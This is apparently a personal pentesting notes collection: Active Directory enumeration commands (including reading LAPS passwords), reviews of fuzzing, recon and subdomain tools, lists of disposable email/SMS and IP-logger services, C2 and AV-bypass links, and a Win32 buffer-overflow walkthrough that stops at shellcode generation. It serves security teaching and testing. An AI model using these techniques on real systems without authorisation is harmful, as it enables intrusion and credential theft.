Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC
# Get OUs for current domain
Get-NetOU -FullData
# Get computers in an OU
# %{} is a looping statement
Get-NetOU -OUName StudentMachines | %{Get-NetComputer -ADSPath $_}
# Get GPOs applied to a specific OU
Get-NetOU *student* | select gplink
Get-NetGPO -Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"
# Get Restricted Groups set via GPOs, look for interesting group memberships forced via domain
Get-NetGPOGroup
# Get incoming ACL for a specific object
Get-ObjectACL -SamAccountName "Domain Admins" -ResolveGUIDs | Select IdentityReference,ActiveDirectoryRights
# Find interesting ACLs for the entire domain, show in a readable (left-to-right) format
Find-InterestingDomainAcl | select identityreferencename,activedirectoryrights,acetype,objectdn | ?{$_.IdentityReferenceName -NotContains "DnsAdmins"} | ft
# Get interesting outgoing ACLs for a specific user or group
# ?{} is a filter statement
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "Domain Admins"} | select ObjectDN,ActiveDirectoryRights
# Get Applocker Policy
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
# Get computers running LAPS, along with their passwords if we're allowed to read those
Get-LAPSComputers
# Get groups allowed to read LAPS passwords
Find-LAPSDelegatedGroups
AV Bypasses
Web fuzzers review
Intro
This is a December 2020 web fuzzing tools review made by myself. I have measured times, CPU usage and RAM consumption in three different lists, 10K, 100K and 400K lines and putting each tool with three different sets of threads: 40, 100 and 400 threads.
Why? Because I have been a ffuf user since version 0.9 (13 Apr 2019) and recently I thought that maybe it was time to review the rest of the tools.
This is not intended to be a serious investigation, a technical paper, or anything like that, just a series of tests that I have done for fun. The results shown are my opinion and if at any time you do not like them or you don't agree, you can stop reading or explain to me how I could have done it better :)
All the results of my runs and tests are posted here, it has three sheets (info, performance and features).
https://docs.google.com/spreadsheets/d/14eFVYoYxMOTZ1tI2jADnvNw_0S6HHJMQXcp5NelhtY0/edit?usp=sharing
Tools
Small summary of each tool with the features and results that I got. This section not follows any special order.
wfuzz
- Author: @x4vi_mendez
- Language: Python
GitHub's first release 2014, it's like a tank for web fuzzing, it has a lot of (really a lot) customizations and does almost everything very well. Everybody knows it, he was the best until Golang came.
Pros
- Lot of customization.
- Maybe most versatile.
Cons
- RAM eater.
- High CPU usage even with sort lists.
- Slow.
ffuf
- Author: @joohoi
- Language: Go
GitHub's first release Nov 2018. For me, it has become the best, it is fast, versatile, many options and does not give problems.
Pros
- Fast.
- Multiple options.
- Low resource usage.
Cons
- Fancy/non-relevant features like:
- Pause/resume.
- ETA.
- Ugly recursion output.
- Only errors count, to check them you must run again with -debug file flag.
feroxbuster
- Author: @epi052
- Language: Rust
GitHub's first release Oct 2020. It's the youngest in the list and I really wanted to try it because it looks great and comes with some features that I didn't see in other tools.
Pros
- Response link extractor.
- Pause and resume.
- Low CPU usage.
Cons
- Tool has crashed in some tests.
- Feels buggy.
- RAM eater.
- No FUZZ keyword.
- No rate/time limits.
gobuster
- Author: @OJ
- Language: Go
GitHub's first release 2015. For me, it was the predecessor of fuff, I used it on OSCP exam, and it took me a while to get rid of it.
Pros
- Really fast.
- Low CPU and RAM.
- S3 enum.
- Patterns usage.
Cons
- No recursion.
- No colors.
- No filters.
- Lack of features.
rustbuster
- Author: @phra
- Language: Rust
GitHub's first release May 2019. I got to this one because I read about it on the feroxbuster page and I found it very interesting.
Pros
- The fastest.
- Best in CPU and RAM.
- IIS Shortname scanner
Cons
- No recursion.
- No colors.
- The one with the least features.
- Last commit sept 2019, maybe abandoned.
- Sometimes crashes with many threads.
dirsearch
- Author: @maurosoria
- Language: Python
GitHub's first release Jul 2014. It was the first fuzzing tool I used, it comes with custom wordlist, pretty output and a lot of options.
Pros
- Prettiest output imo.
- Quality options by default.
- Easy of use, recommended for noobs.
- Wordlists mutation.
Cons
- The slowest.
- No FUZZ keyword.
Results
Time
- rustbuster
- ffuf
- gobuster
- feroxbuster
- wfuzz
- dirsearch
CPU
- feroxbuster
- dirsearch
- gobuster
- ffuf
- rustbuster
- wfuzz
RAM
- gobuster
- rustbuster
- ffuf
- dirsearch
- feroxbuster
- wfuzz
Features
- ffuf
- wfuzz
- dirsearch
- feroxbuster
- gobuster
- rustbuster
General
- ffuf
- gobuster
- feroxbuster
- rustbuster
- dirsearch
- wfuzz
Final thoughts
I will continue using ffuf because it seems that it's the tool with the best balance between functionalities and performance. I was very surprised by Rust and I really want Feroxbuster to continue growing and become a worthy rival for ffuf and finally it seems that the fathers of fuzzing tools are left behind, the world advances!
Recon suites review
Intro
What? This is a December 2020 hunting/pentesting recon suites review made by myself. I have compared and review every tool one by one and obtained a general view of the "state-of-the-art" of the most used recon tools.
Why? Lately there has been an explosion in the creation of these types of tools, and I was simply curious about how each one faced the challenge of profiling one or more objectives.
How? First, I have analyzed what features the suites have and then what tools they used to achieve those functionalities.
From my POV a recon tool should get as much information as possible from a target regardless of its size. From subdomains enumeration to analyze all JS and their possible secrets, through SSL failures or consult information in public sources. Neither am I looking for a tool that will get all the low-hanging fruit for P1 automatically continuously, let's be honest, most people are looking for this, and you don't have the necessary to set up a competent infrastructure to achieve it.
I thought about making measurements on the number of subdomains that each tool retrieves and the number of information that they retrieve in general, but this poses several problems. In the end, these suites launch existing subdomain enumeration tools, so I'll do that other day (spoiler! 😲) and it doesn't really depend on the suite itself. On the other hand, each tool does different processes with different tools, so it would not be fair (or measurable, I think) to make a comparison of the quantity or quality of information they obtain.
My perfect recon suite should be able to do the following: run a command, review its contents, and then run another tool with that information, like "subdomain enum | httpx | gf | dalfox". Yeah I know, it's a simple oneliner, but also, I want a lot of different checks in an easy readable and organized way. Easy? Let's see.
hint style="info" This is not intended to be a serious investigation, a technical paper, or anything like that, just a series of tests that I have done for fun. The results shown are my opinion and if at any time you don't like them, or you don't agree, you can stop reading or explain to me how I could have done it better 😉
All the results of my runs and tests are posted here, it has three sheets (Summary, features and tools).
https://docs.google.com/spreadsheets/d/1XVi9eKWvVZw9zrX46XEZD3LfiEMRCg327hOn4AbTZWs/edit?usp=sharing
Tools
Small summary of each tool with the features and results that I got. This section not follows any special order.
Bheem
- Author: harsh-bothra & KathanP19
- Language: Bash
It's composed of a lot of simple bash scripts that are calling each other which makes it much easier to add some changes that fit for you or what you want or add your own.
Pros
- Superb workflow.
- Easy to understand and adapt for your needs.
- Best and trendy tools like nuclei, dalfox or gf patterns.
- Scope defined workflows.
Cons
- No web screenshots.
- Lack of output customization.
3klcon
- Author: eslam3kl
- Language: Python2
This tool continues the process of the author's tool 3klector and have a strong workflow which covers a lot of things.
Pros
- ASN and acquisitions collector.
- Provides Dorks to check manually.
Cons
- Python2 died a year ago, too much for a live project imho.
- No subdomain bruteforce.
- No web screenshots.
Sudomy
- Author: Screetsec
- Language: Python3
I have been using this tool for a lot of time, It does a very good job of enumerating subdomains giving complete results.
Pros
- Uses Shodan for fast port scan.
- Vhosts checker.
- Wordlist generator from target.
- Slack notifications.
Cons
- Needs API keys.
- No vulns scanner.
- No endpoints checks like xss, params, js, etc.
Osmedeus
- Author: j3ssie
- Language: Python3
One of the well known, in a short time it has become one of the best known, now its author is evolving this project in huntersuite.io (paid).
Pros
- Web interface.
- Nice report output.
- Slack notifications.
- ffuf for fuzzing.
Cons
- No WAF checker
- Jaeles for vulns scan feels buggy.
- No endpoints analysis like potential xss, params, js, etc.
FinalRecon
- Author: thewhiteh4t
- Language: Python3
Recently added to the official Kali repositories, increasingly known and used. Mainly focused on web scan, but it does the recon phase too.
Pros
- Very good cli output.
- Customizable files output.
- Not use external tools, does almost everything by its own.
Cons
- Need API keys.
- Only passive subdomain enumeration.
- Lack of features surprisingly.
reNgine
- Author: yogeshojha
- Language: Python3
A tool driven by a web interface (only) with a good integration of the best tools such as amass, nuclei or dirsearch.
Pros
- Web interface.
- Customizable files output.
- Schedule feature and dashboard.
- Exclude subdomains feature.
Cons
- No cli output.
- No subdomains permutations or bruteforce.
- Displaying directory enumeration in web interface is not good at all.
Rock-ON
- Author: SilverPoision
- Language: Bash
This tool has not been updated for more than a year but anyway it does it works really well, not much features but good implemented.
Pros
- ASN enumeration.
- Vhosts detection.
- Slack integration.
Cons
- API keys needed.
- No endpoints analysis like potential xss, params, js, etc.
recon-pipeline
- Author: epi052
- Language: Python3
This is a total different approach from the others. In this tool you have to define a recon pipeline or use one of previously defined, maybe needs more learning curve (but good docs) but totally customizable.
Pros
- PIpeline customizable definition.
- Absolutely customizable approach.
- Scheduler.
Cons
- Searchsploit for vulns detection.
- No endpoints analysis like potential xss, params, js, etc.
OneForAll
- Author: shmilylty
- Language: Python3
I didn't know anything about this tool but it's really famous (almost 3K stars) and that's because it uses almost every API that exists to give one of the best passive scan experience thtat exists for now.
Pros
- More than 40 API keys integration.
- Zone transfer checker.
- Scheduler.
Cons
- Searchsploit for vulns detection.
- No endpoints analysis like potential xss, params, js, etc.
chomp-scan
- Author: SolomonSklash
- Language: Bash
I have been using this tool for a long time during my pentests and I like it very much. It's a scripted bash pipeline with a lot of tests.
Pros
- Really good cli output.
- CORS specific checks.
- ffuf for fuzzing.
Cons
- Nikto for web vulns.
- Notica for notifications.
ReconPi
- Author: x1mdev
- Language: Bash
Nice all-in-one installer designed to start the recon process in a low hardware device like Raspberry Pi in a lightweight way.
Pros
- Best and trendy tools like nuclei, dalfox or gf patterns.
- Slack and Discord notifications.
- Lot of passive subdomains tools included.
Cons
- Need API keys.
- Installer install tools not used in the script.
HydraRecon
- Author: aufzayed
- Language: Python3
Little known tool that does the whole recognition process in a custom way.
Pros
- JS extractor.
- No use 3rd parties tools.
Cons
- Lack of features.
- No endpoints analysis like potential xss, params, js, etc.
lazyrecon
- Author: nahamsec
- Language: Bash
Well known tool created by one of the big guys. It does the work in a fast an easy way and create a pretty html report easy to review.
Pros
- Exclude subdomains feature.
- Wordlist generation.
Cons
- No vulns/tech scanner.
- No endpoints analysis like potential xss, params, js, etc.
Sn1per
- Author: 1N3
- Language: Bash
This is an All-In-One hacking tool but apart from this, also have a good recon capabilities that performs almost everything.
Pros
- ASN enumeration.
- Transfer zone, vhosts and and waf checks.
- Most complete in features tool.
Cons
- Too heavy to do recon (docker image > 6 GB).
- No endpoints analysis like potential xss, params, etc.
Rapidscan
- Author: skavngr
- Language: Python2
I have been using this tool some time ago because it provides an easy human-readable output, with suggestions, good workflow and ETA in every step.
Pros
- Really nice cli output results.
- Suggests resolution for each bug found.
- Transfer zone
Cons
- Oldie tools like nikto, uniscan.
- Python2 died a year ago, too much for a live project imho.
Results
Features
- Sn1per
- Sudomy
- Bheem & osmedeus
- ReconPi & ChompScan
- Rapidscan & lazyrecon & 3klcon
Workflow and usage
- Bheem
- ReconPi
- Osmedeus & 3klcon
- Sudomy
- rapidscan & chompscan
General
- Bheem
- ReconPi
- Sn1per & osmedeus
- Sudomy & 3klcon
- rapidscan & chompscan
Final thoughts
I was very surprised by the amount of very good tools that exist for recognition, I have discovered many very good tools that I did not know and others I have been able to understand better how they work. I was also surprised by how quickly nuclei has established itself as one of the best tools that exist in the panorama and on the other hand, that dorking is no longer used, even if it is simply to return a list of urls to check manually. Bheem seems to me to be the best tool that adapts to my work methodology and I hope they continue to maintain and update it because it does the job very well.
Finally, thanks to all the tool developers who facilitate our work and implement the recon methodology better and better.
Subdomain tools review
Intro
What? This is a December 2020 subdomain tools review made by myself. I have compared and review every tool one by one and obtained a general view of the "state-of-the-art" of the most used subdomain tools.
Why? Sometimes I have doubts if I am actually finding all the subdomains when I start hunting and if the tool I use will find them all. This is the review that I would like to have read before deciding on one tool or another.
How? As the main objective is to find subdomains, I have launched the tools against a small scope (zego.com), a medium scope (tiktok.com) and a large one (twitter.com) to see how the different tools respond.
Having different tools and different approaches I have compared the tools by typology, like this:
- Passive: It relies on third-party services with which it collects the largest possible number of subdomains, dead or alive. The problem with this approach is that you can find numerous subdomains, but many of them may be prehistoric, but in return they do it very quickly.
- Active: From any source, for example third-party sources of the passive approach, it verifies through DNS requests (or in any other way) if the subdomain is alive or not. This approach takes a little longer than the passive one, but the results it generates are almost entirely useful.
- Bruteforce: From a wordlist and a domain, it makes DNS requests for each word along with the domain. The advantage of this approach is that the results obtained are always real, but it depends entirely on the quality of the wordlist.
- Alterations/permutations: In this case, from a list of subdomains and a list of alterations or permutations, a new list of subdomains is generated that are verified through DNS requests. With this approach you can find subdomains that with the rest would be impossible.
The integrations with third-party services I have tried to use as many as the tool allows me for free. All scans have been done against the same targets and with the same bruteforcing wordlists and alteration wordlists.
- Resolvers: danielmiessler/Miscellaneous/dns-resolvers.txt
- Bruteforce: danielmiessler/Discovery/DNS/subdomains-top1million-20000.txt
- Alterations: altdns/words.txt
This is not intended to be a serious investigation, a technical paper, or anything like that, just a series of tests that I have done for fun. The results shown are my opinion and if at any time you don't like them, or you don't agree, you can stop reading or explain to me how I could have done it better 😉
All the results of my runs and tests are posted here, it has four sheets (Summary, Small scope, Medium Scope and Large Scope).
https://docs.google.com/spreadsheets/d/1Fa_dv4jnMCDcpa_RQy12TpEZQNo1l8KsDFJscPjnePo/edit?usp=sharing
In addition, the results of all the scans that I have done have been uploaded to a folder that you can see here.
Tools
Small summary of each tool with the features and results that I got. This section not follows any special order.
amass
- Author: OWASP (mainly caffix).
- Language: Go.
- Type: Passive, Active, Bruteforce, Alterations (only Active and Passive tested here).
- Api Keys added: 16 (AlienVault, Binary Edge, Censys, Chaos, Cloudflare, Facebook, Github, NetworksDB, PassiveTotal, ReconDev, SecurityTrails, Shodan, SpySe, UrlScan, VirusTotal, WhoIsXML).
Well known tool for the enumeration of subdomains. It's basically an all-in-one because it does everything, plus many other things apart from the subdomains. In the case of this tool, I have only analyzed the passive and active approaches because there is no way to do a unit analysis for brute force or alterations without consulting third-party services previously (or at least I have not known how to do it).
Pros
- Lot of third-party integrations
- Swiss army knife for subdomains enumeration, all the functionalities you can think of and more.
- It added active subdomains that none of the other tools managed to add.
Cons
- Not fast at all.
- Sometimes usability is confusing due to the large number of options
Sublist3r
- Author: aboul3la
- Language: Python
- Type: Passive, Bruteforce (only Passive tested here).
- Api Keys added: 0.
Widely used on a lot of tools since it's been around since 2015, plus you don't need to add additional API keys. One problem that I found with this tool is that it does not allow resolving subdomains found passively, but it does incorporate subbrute for bruteforce, which it does DNS resolution, but on the contrary it does not allow to specify a different wordlist, for this reason don't test the bruteforce feature.
Pros
- Really fast.
- Include subbrute for bruteforcing.
- Include port scan.
Cons
- Few results compared to others.
- Limited features, such as bruteforce without the ability to specify a custom wordlist.
crobat
- Author: Cgboal
- Language: Go
- Type: Passive
- Api Keys added: 0.
It is basically the easiest way to consult the Rapid7's Project Sonar Database.
Pros
- Consults in one of the best data sources.
- Ultra-fast.
Cons
- Nothing in particular, does a very specific thing and does it well.
chaos
- Author: projectdiscovery
- Language: Go
- Type: Passive
- Api Keys added: 1 (Chaos).
Official client to consult the Chaos database. It is mainly oriented for bug bounty, it contains the database of all the programs.
Pros
- Ultra-fast.
- Allow to update dataset with your own findings.
- Multiple filters and outputs options.
Cons
- API Key limited to invitations.
subfinder
- Author: projectdiscovery
- Language: Go
- Type: Passive and Active.
- Api Keys added: 13 (BinaryEdge, Censys, Chaos, DnsDB, GitHub, PassiveTotal, ReconDev, Robtex, SecurityTrails, Shodan, SpySe, UrlScan, VirusTotal).
The definitive subdomain tool from projectdiscovery is the one that gets the most results in passive and active mode. Simply the best.
Pros
- Fast compared with others with similar number of integrations.
- Use 35 third-party services in total.
- Lot of options for search, filters and output.
Cons
- Amass got a few subdomains that subfinder missed only in the large scope.
altdns
- Author: infosec-au
- Language: Python
- Type: Alterations.
The most popular tool for subdomain alteration and resolution. It currently has a bug that needs to be fixed to make the tool work.
Pros
- Allows set custom resolver.
- Output include CNAME.
Cons
- Really really slow.
- Not the best alteration wordlist.
shuffledns
- Author: projectdiscovery
- Language: Go
- Type: Bruteforce.
Fastest bruteforce and resolution subdomain tool by projectdisovery (yes, again). It's actually a massdns wrapper inside, but it makes it much easier to use with a simple syntax.
Pros
- Fastest.
- Allows directly massdns output.
- Wildcard support.
Cons
- In some cases, it missed some subdomains that the rest did.
assetfinder
- Author: tomnomnom
- Language: Go
- Type: Passive.
- Api Keys added: 3 (Facebook, VirusTotal, SpySe).
This tool is aimed to find domains and subdomains related to a given domain. Related means, not just subdomains, but other which could be third-party urls for example.
Pros
- Really fast for the amount of services integrated.
- 9 services included.
- That "related" feature.
Cons
- No results not found by others.
waybackurls
- Author: tomnomnom
- Language: Go
- Type: Passive.
- Api Keys added: 0.
The main purpose of this tool is to fetch urls from WaybackMachine, but is widely used to retrieve subdomains too.
Pros
- Fast.
Cons
- Not subdomains feature, you have to filter with some tool like unfurl or grep.
github-subdomains
- Author: gwen001
- Language: Go
- Type: Passive.
- Api Keys added: 1 (GitHub).
The main purpose of this tool is to fetch urls from WaybackMachine, but is widely used to retrieve subdomains too.
Pros
- Fast.
- GitHub is always a useful source.
Cons
- With some common names or companies could be very slow.
dnscan
- Author: rbsec
- Language: Python
- Type: Bruteforce.
Actively updated tool for bruteforce with some nice features like transfer zone checker and recursiveness.
Pros
- Transfer zone feature.
- Custom insertion points.
- Provided with 7 wordlists.
Cons
- Python 2.
gobuster
- Author: OJ
- Language: Go
- Type: Bruteforce.
Mainly known for web fuzzing, it also has the option to scan for DNS. It's one of the must-have tools in the community.
Pros
- Wildcard support.
- Option to show CNAME or IP.
Cons
- None really.
knock
- Author: guelfoweb
- Language: Python
- Type: Passive and Bruteforce.
- Api Keys added: 1 (VirusTotal).
It performs Passive scan and Bruteforce but not resolves what it found in passive. It does not stand out especially anywhere.
Pros
- Transfer zone check.
- CSV output customization.
Cons
- Python 2.
- Output is messy.
- Slow.
aiodnsbrute
- Author: blark
- Language: Python
- Type: Bruteforce.
According to its description is mainly focused in speed and also has with multiple output formats.
Pros
- Multiple output formats.
- Customizable DNS lookup query.
- Fast.
Cons
- Feels outdated and abandoned.
dmut
- Author: bp0lr
- Language: Go
- Type: Alterations.
Fast permutations tool with very good wordlist.
Pros
- Fastest in its type.
- Lot of DNS options to optimize.
Cons
- Output is a bit poor.
subdomain3
- Author: yanxiu0614
- Language: Python
- Type: Bruteforce.
Bruteforce tools with some interesting additions like IP, CDN or CIDR support.
Pros
- Fastest in its type.
- The IP, CDN and CIDR support
- Multi-level subdomains option.
Cons
- Python 2.
- Feels outdated and abandoned.
- In some cases, it missed some subdomains that the rest did.
Sudomy
- Author: Screetsec
- Language: Python
- Type: Passive, Active and Bruteforce (Bruteforce with Gobuster, so not tested).
- Api Keys added: 9 (Shodan, Censys, VirusTotal, BinaryEdge, SecurityTrails, DnsDB, PassiveTotal, SpySe and Facebook).
Much more than a subdomain tool, it's a recon suite, but the subdomain search process is not delegated to third parties, so it gets on this list.
Pros
- Multiple options apart the subdomain search.
- Active scan really fast.
Cons
- No results not found by others.
- Active scans output could be better.
Findomain
- Author: Edu4rdSHL
- Language: Rust
- Type: Passive, Active and bruteforce.
- Api Keys added: 4 (Facebook , Spyse, VirusTotal and SecurityTrails).
Findomain is one of the standard subdomain finder tools in the industry, it has a limited free version and a paid full-featured version.
Pros
- Really fast.
- Free version is still completely useful.
Cons
- Paid version has all the features.
- No customizable output file in free version.
Results
Passive
With amass and subfinder this part is more than completed, but there are other tools that, depending on the objective, may provide valuable information.
- subfinder
- amass
- Findomain
- Sudomy
- sublist3r
Active
In this field subfinder is the best, I find it to get results incredibly fast.
- Findomain
- subfinder
- Sudomy
- Amass
Bruteforce
Again projectdiscovery does a great job with shuffledns and is far from the rest of the tools in speed and options.
- shuffledns
- Findomain
- dnscan
- gobuster
- aiodnsbrute
Alterations
I don't find alterations and permutations with resolution useful, but in case you like it, dmut should be your option by far.
- dmut
- altdns
Final thoughts
When I started the review, I believed that amass would be the winner in most cases, but it seems that I have found new tools with which to improve the workflow, just as it happened with gobuster in the bruteforce section. In the permutations/alterations part I don't see the utility, they don't solve anything quickly and I think it is much more useful to use tools like dnsgen to generate a good wordlist of alterations and then run it with shuffledns, or any of the bruteforce tool to resolve them.
Finally, thanks to all the tools developers who facilitate our work and implement the recon methodology better and better.
Random
Aliases
# Aliases
alias cat="bat --style=grid"
alias dockly='docker run -it --rm -v /var/run/docker.sock:/var/run/docker.sock lirantal/dockly'
alias sniper='docker run -it xerosecurity/sn1per /bin/bash'
alias myip='ip -br -c a && echo && curl ifconfig.me'
alias lsla='colorls -lA --sd --gs --group-directories-first'
alias gitleaks='docker run --rm --name=gitleaks zricethezav/gitleaks -v --pretty -r
alias grp='git reset --hard origin/master && git pull'
alias ccat='pygmentize -O style=monokai -f console256 -g'
alias testssl='~/Escritorio/tools/testssl.sh/testssl.sh'
alias nano='micro'
alias scoutsuite='cd /home/user/tools/ScoutSuite && docker run --rm -t \
-v ~/.aws:/root/.aws:ro \
-v "$(pwd)/results:/opt/scoutsuite-report" \
scoutsuite:latest \
aws'
alias services_running='systemctl list-units --type=service --state=running'
alias pwndb='sudo python3 ~/PATH/pwndb/pwndb.py --target'
alias s3scanner='sudo python3 ~/PATH/S3Scanner/s3scanner.py'
alias flumberbuckets='sudo python3 ~/PATH/flumberboozle/flumberbuckets/flumberbuckets.py -p'
function wordlists() { find ~/tools/payloads/ -type f -name "*$1*" }
# https://github.com/foospidy/payloads
Temporary emails
# https://github.com/s0md3v/ote
ote init myusername
https://www.guerrillamail.com/en/
https://10minutemail.com
https://www.trash-mail.com/inbox/
https://www.mailinator.com
http://www.yopmail.com/en
https://generator.email
https://en.getairmail.com
http://www.throwawaymail.com/en
https://maildrop.cc
https://owlymail.com/en
https://www.moakt.com
https://tempail.com
http://www.yopmail.com
https://temp-mail.org/en
https://www.mohmal.com
http://od.obagg.com
http://onedrive.readmail.net
http://xkx.me
https://t.odmail.cn
https://www.emailondeck.com
https://anonbox.net
https://M.kuku.lu
https://www.temp-mails.com/
http://deadfake.com/
https://www.sharklasers.com/
https://mytemp.email/
http://www.mintemail.com/
http://www.eyepaste.com/
mailsucker.net
https://www.emailondeck.com/
https://getnada.com/
http://www.fakeinbox.com/
https://temp-mail.org/
https://www.tempmailaddress.com/
https://tempail.com/
https://tempm.com/
https://mailsac.com/
https://smailpro.com/
Temporary SMS reception
Online SMS: https://sms-online.co/
Text anywhere: http://www.textanywhere.net/
Proovl: https://www.proovl.com/numbers
Receive free SMS.NET: http://receivefreesms.net/
5SIM: https://5sim.net/
Receive SMS Online.IN: http://receivesmsonline.in/
Receive SMS online.EU: http://receivesmsonline.eu/
Groovl: https://www.groovl.com/
1S2U: https://1s2u.com/
Receive SMS online.ME: http://receivesmsonline.me/
Receive SMS: http://sms-receive.net/
Receive SMS Online.NET: https://www.receivesmsonline.net/
Receive free SMS: http://receivefreesms.com/
SMS Get: http://smsget.net/
Receive SMS online: https://receive-sms-online.com/
Receive an SMS: https://receive-a-sms.com/
Pinger: https://www.pinger.com/
7 SIM.NET: http://7sim.net/
Send SMS now: http://www.sendsmsnow.com/
Temporary emails: https://www.temp-mails.com/
Vritty: https://virtty.com/
Free SMS code: https://freesmscode.com/
HS3X: http://hs3x.com/
Get a free SMS number: https://getfreesmsnumber.com/
See SMS: https://www.smsver.com/
SMS.SELLAITE: http://sms.sellaite.com/
Trash Mobile https://es.mytrashmobile.com/numeros
Free SMS send
https://freebulksmsonline.com/
https://www.afreesms.com/
https://smsend.ru/
https://txtemnow.com/
http://www.sendanonymoussms.com/
http://www.textem.net/
http://www.txtdrop.com/
Ip loggers services
ezstat.ru
iplogger.org
2no.co
iplogger.com
iplogger.ru
yip.su
iplogger.co
iplogger.info
ipgrabber.ru
ipgraber.ru
iplis.ru
02ip.ru
Tunneling services
Port Forwarding Service
https://cloudflare.com/
https://localxpose.io/
https://serveo.net/
https://ngrok.com/
https://localtunnel.me/
https://openport.io/
https://pagekite.net/
Default credentials lists
https://cirt.net/passwords
https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials
https://github.com/LandGrey/pydictor
https://github.com/Mebus/cupp
https://github.com/sc0tfree/mentalist
https://github.com/ihebski/DefaultCreds-cheat-sheet
# Check this tool
https://github.com/noraj/pass-station/
C2
# Empire
# https://github.com/BC-SECURITY/Empire
# PoshC2
# https://github.com/nettitude/PoshC2
# Byob
# https://github.com/malwaredllc/byob
Others
# Dedupe wordlists
# https://github.com/nil0x42/duplicut
./duplicut wordlist.txt -o clean-wordlist.txt
# Printer attacks
https://github.com/RUB-NDS/PRET
# Malware online analysis
https://app.any.run/
https://www.virustotal.com/gui/
https://tria.ge/
https://antiscan.me/
https://www.hybrid-analysis.com/
https://www.joesandbox.com/
# Chrome extension analyzer
https://thehackerblog.com/tarnish/#
# Github update fork from original
git remote add upstream https://github.com/[Original Owner Username]/[Original Repository].git
git fetch upstream
git checkout master
git merge upstream/master
git push
# VPN attack framework
https://github.com/klezVirus/vortex
# Ip rotation
https://gist.github.com/carlware/f02e14232177c18f33b5743bde916d8a
# Redirect your browser traffic through VPS
ssh -CqN -D 1337 root@YUOR.DEST.NEW.IP
# Now configure your browser proxy to 1337
AV Bypasses techniques
https://cmepw.github.io/BypassAV/
Master assessment mindmaps
BugBounty
https://github.com/bugcrowd/templates
Good PoC
Issue type | PoC |
---|---|
Cross-site scripting | alert(document.domain) or setInterval`alert\x28document.domain\x29` if you have to use backticks. [1] Using document.domain instead of alert(1) can help avoid reporting XSS bugs in sandbox domains. |
Command execution | Depends of program rules:
|
Code execution | This involves the manipulation of a web app such that server-side code (e.g. PHP) is executed.
|
SQL injection | Zero impact
|
Unvalidated redirect |
|
Information exposure | Investigate only with the IDs of your own test accounts — do not leverage the issue against other users' data — and describe your full reproduction process in the report. |
Cross-site request forgery | When designing a real-world example, either hide the form (style="display:none;" ) and make it submit automatically, or design it so that it resembles a component from the target's page. |
Server-side request forgery | The impact of a SSRF bug will vary — a non-exhaustive list of proof of concepts includes:
|
Local file read | Make sure to only retrieve a harmless file. Check the program security policy as a specific file may be designated for testing. |
XML external entity processing | Output random harmless data. |
Sub-domain takeover | Claim the sub-domain discreetly and serve a harmless file on a hidden page. Do not serve content on the index page. |
Good Report
# Writeups
# https://github.com/devanshbatham/Awesome-Bugbounty-Writeups
# Bug bounty Report
# Summary
...
# Vulnerability details
...
# Impact
...
# Proof of concept
...
# Browsers verified in
...
# Mitigation
...
Exploiting
Basics
**Tools**
https://github.com/apogiatzis/gdb-peda-pwndbg-gef
* gdb-peda
* gdb-gef
* pwndbg
* radare2
* ropper
* pwntools
# Web compiler
https://www.godbolt.org/
# Check protections:
checksec binary
rabin2 -I ret2win32
# Functions
rabin2 -i
# Strings
rabin2 -z ret2win32
BOF Basic Win32
1. Send "A"*1024
2. Replace "A" with /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l LENGTH
3. When crash "!mona findmsp" (E10.11.1.111 offset) or ""/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q TEXT" or "!mona pattern_offset eip"
4. Confirm the location with "B" and "C"
5. Check for badchars instead CCCC (ESP):
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
with script _badchars.py and
"!mona compare -a esp -f C:\Users\IEUser\Desktop\badchar_test.bin"
5.1 AWESOME WAY TO CHECK BADCHARS (https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/):
a. !mona config -set workingfolder c:\logs\%p
b. !mona bytearray -b "\x00\x0d"
c. Copy from c:\logs\%p\bytearray.txt to python exploit and run again
d. !mona compare -f C:\logs\%p\bytearray.bin -a 02F238D0 (ESP address)
e. In " data", before unicode chars it shows badchars.
6. Find JMP ESP with "!mona modules" or "!mona jmp -r esp" or "!mona jmp -r esp -cpb '\x00\x0a\x0d'" find one with security modules "FALSE"
6.1 Then, "!mona find -s "\xff\xe4" -m PROGRAM/DLL-FALSE"
6.2 Remember put the JMP ESP location in reverse order due to endianness: 5F4A358F will be \x8f\x35\x4a\x5f
7. Generate shellcode and place it:
